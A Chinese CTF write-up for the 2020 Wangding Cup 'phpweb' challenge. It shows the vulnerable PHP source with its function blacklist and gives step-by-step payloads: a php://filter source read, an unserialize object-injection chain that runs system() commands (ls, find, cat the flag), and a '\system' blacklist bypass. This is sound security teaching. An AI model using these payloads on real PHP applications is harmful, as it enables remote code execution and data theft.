首页 > 编程语言 >[网鼎杯 2020 朱雀组]phpweb-1|反序列化

[网鼎杯 2020 朱雀组]phpweb-1|反序列化

时间:2022-08-31 08:11:25浏览次数:57  
标签:序列化 system 如下 flag 2020 func 网鼎杯 payload

1、打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下:

2、对两个参数与返回值进行分析,我们使用dat时一般是这种格式:date("Y-m-d+h:i:s+a"),那我们可以猜测func参数接受的是一个函数,p参数接受的是函数执行的内容,我们可以输入参数md5和1进行测试,结果如下:

3、那我们就尝试读取下当前的目录信息,payload:func=system&p=ls,显示hacking,应该是被过滤掉了,因此我们考虑读取下源码信息,payload:func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php,对获得的字母串进行base64解码,结果如下:

源码如下:

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

4、在代码里注意到了__destruct()函数,此函数会在类被销毁时调用,那我们如果反序列化一个类,在类里的参数中写上我们要执行的代码和函数,这样的话就会直接调用gettime函数,而不会执行in_array($func,$disable_fun),那我们就绕过了黑名单的判断,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";} ,结果如下:

序列化代码:

<?php
class Test {
    var $p = "ls";
    var $func = "system";
    }
$test = new Test();
$str = serialize($test);
print($str);
?> 

5、成功绕过黑名单获取到当前的目录信息,那我们就修改下传递的参数,查找下flag的位置信息,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find+/+-name+flag*";s:4:"func";s:6:"system";} ,结果如下:

序列化代码(序列化之后注意将空格修改为+号,或者采用get方式进行传输):

<?php
class Test {
    var $p = "find / -name flag*";
    var $func = "system";
    }
$test = new Test();
$str = serialize($test);
print($str);
?> 

6、获得flag文件位置信息后,修改传递的参数读取下flag值,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat+/tmp/flagoefiu4r93";s:4:"func";s:6:"system";} ,结果如下:

序列化代码如下(序列化之后注意将空格修改为+号,或者采用get方式进行传输):

<?php
class Test {
    var $p = "cat /tmp/flagoefiu4r93";
    var $func = "system";
    }
$test = new Test();
$str = serialize($test);
print($str);
?> 

7、这里补充下另外一种绕过黑名单的方式,第三步中的读取目录信息,可以修改payload:func=\system&p=ls,也可以获得目录信息,结果如下;

8、然后后面的就是查找flag文件的位置、读取flag信息,结果如下:

9、\system可以绕过黑名单的原因:php内的" \ "在做代码执行的时候,会识别特殊字符串。

标签:序列化,system,如下,flag,2020,func,网鼎杯,payload
From: https://www.cnblogs.com/upfine/p/16641076.html

相关文章

  • CCPC Qinhuangdao 2020 K, Kingdom's Power做题思路
    首先,对于一个子树,我们显然只有两种去让军队走过他的办法,一种是从兄弟节点调一些军队来,另一种是从根节点推过来。感觉有一个结论,就是我这个位置如果用兄弟节点推过来的只是......
  • 序列化器:反序列换-字段选项 validate validate_<字段> validator
    1.使用序列化器进行反序列化时,需要对数据进行验证后,才能获取验证成功的数据或保存成模型类对象。2.在获取反序列化的数据前,必须调用is_valid()方法进行验证,验证成功返回Tr......
  • P6622 [省选联考 2020 A/B 卷] 信号传递
    给定的长度为\(n\)的信号传递序列\(S\),有传递规则:共\(n-1\)次信号传递,第\(i\)次信号传递将把信号从\(S_i\)号信号站传递给\(S_{i+1}\)号。若\(S_{i+1}\)......
  • 序列化器:序列化一个模型对象和多个模型对象
    1.序列化,序列化器会把模型对象转换成字典,经过response以后变成json字符串2.反序列化,把客户端发送过来的数据,经过request以后变成字典,序列化器可以把字典转成模型......
  • 序列化与反序列化
    1.参与序列化的对象必须实现Serializable接口,起到相应的标识作用,Java虚拟机会给该类自动生成一个序列化版本号2.java通过类名+序列化版本号的方式进行区分,transient关......
  • [CISCN2019 华北赛区 Day1 Web2]ikun-1|python反序列化
    考点:JWT身份伪造、pythonpickle反序列化、逻辑漏洞1、打开之后首页界面直接看到了提示信息,信息如下:2、那就随便注册一个账号进行登录,然后购买lv6,但是未发现lv6,那就查看......
  • CCF 202009-1 称检测点查询(C++)
    使用结构体struct+自定义sort轻松搞定#include<iostream>#include<bits/stdc++.h>#include<cstdio>usingnamespacestd;intn,X,Y;structpoint{......
  • maybe_serialize() | WordPress序列化数据/数组/对象
    函数maybe_serialize(string|array|object$data)描述该WordPress函数可将数组/对象/字符串序列化。参数$data,(string|array|object)需要序列化的数据。返回值(m......
  • BJDCTF2020 Babyrop2
    最近这段时间应该会陆陆续续补上以前做的pwn题的wp,再来复习一下InvolvedKnowledgeFormatStringStackoverflowret2libcChecksecArch:amd64-64-little......
  • 2022第三届“网鼎杯”网络安全大赛-青龙组 部分WriteUp
    MISC签到题八道网络安全选择题,百度都能搜索到答案,这里如果只知道部分题目答案,可以通过枚举测试fuzz答案,获得flagflag:flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a}REre693......